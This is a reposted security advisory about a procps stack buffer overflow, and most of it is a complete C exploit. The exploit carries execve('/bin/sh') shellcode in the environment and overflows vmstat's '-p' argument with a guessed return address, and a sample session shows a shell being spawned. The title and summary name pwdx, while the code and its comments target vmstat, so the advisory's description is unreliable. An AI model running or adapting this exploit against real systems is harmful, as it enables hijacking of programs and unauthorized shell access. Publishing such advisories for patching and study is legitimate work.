[EXPL] Procps Buffer Overflow (pwdx, Exploit)

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  Procps Buffer Overflow (pwdx, Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://procps.sourceforge.net/> procps is a package that has a few 
small useful utilities that give information about processes using the 
/proc filesystem. The package includes the programs ps, top, vmstat, w, 
kill, free, slabtop, and skill."

A buffer overflow vulnerability has been discovered in argument handling 
of pwdx utility supplied with Procps. The following exploit code can be 
used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * pwdx included with Procps versions 3.2.5 and prior

Exploit:
/*
VULNERABLE PROGRAM:
--=[ procps 3.2.5 vmstat '-p' argument stack overflow
--=[ http://procps.sourceforge.net/
--=[ Advisory: http://www.danitrous.org/code/PoCs/vmstat_adv.txt

EXPLOIT:
--=[ Local env exploit [no suid] by nitrous <[email protected]>
--=[ Tested on Ubuntu Linux 2.6.8.1-3-386

nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ gcc vmstat-p0c.c -o 
vmstat-p0c
nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ ./vmstat-p0c
-=[ Jumping to: 0xbfffffc9

Partition was not found
sh-2.05b$ id
uid=1000(nitrous) gid=1000(nitrous)

--=[ greets to www.vulnfact.com, dr_fdisk^, CRAc, beck, ran, dymitri,
               dex, benn, cryogen, JSS... blah blah blah.
*/

#include<stdio.h>
#include<string.h>

#define BUFFER_SIZE     32
#define VMSTAT_PATH "/usr/bin/vmstat"

char nitrous_egg[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh";  //jmp-call execve()

int main()
{
        char *payl0ad= (char *)malloc(BUFFER_SIZE);
        char *envir0n[2]= {nitrous_egg,NULL};

        unsigned long 
retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);

 printf("-=[ Jumping to: 0x%x\n\n", retaddr);

        int x;
        for(x=0; x<BUFFER_SIZE; x+=4)
  *(unsigned long *)&payl0ad[x]= retaddr;

 execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);

 return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> A. 
Alejandro Hern ndez.
The advisory can be found at:  
<http://www.securiteam.com/unixfocus/5IP0S20FFA.html> 
http://www.securiteam.com/unixfocus/5IP0S20FFA.html



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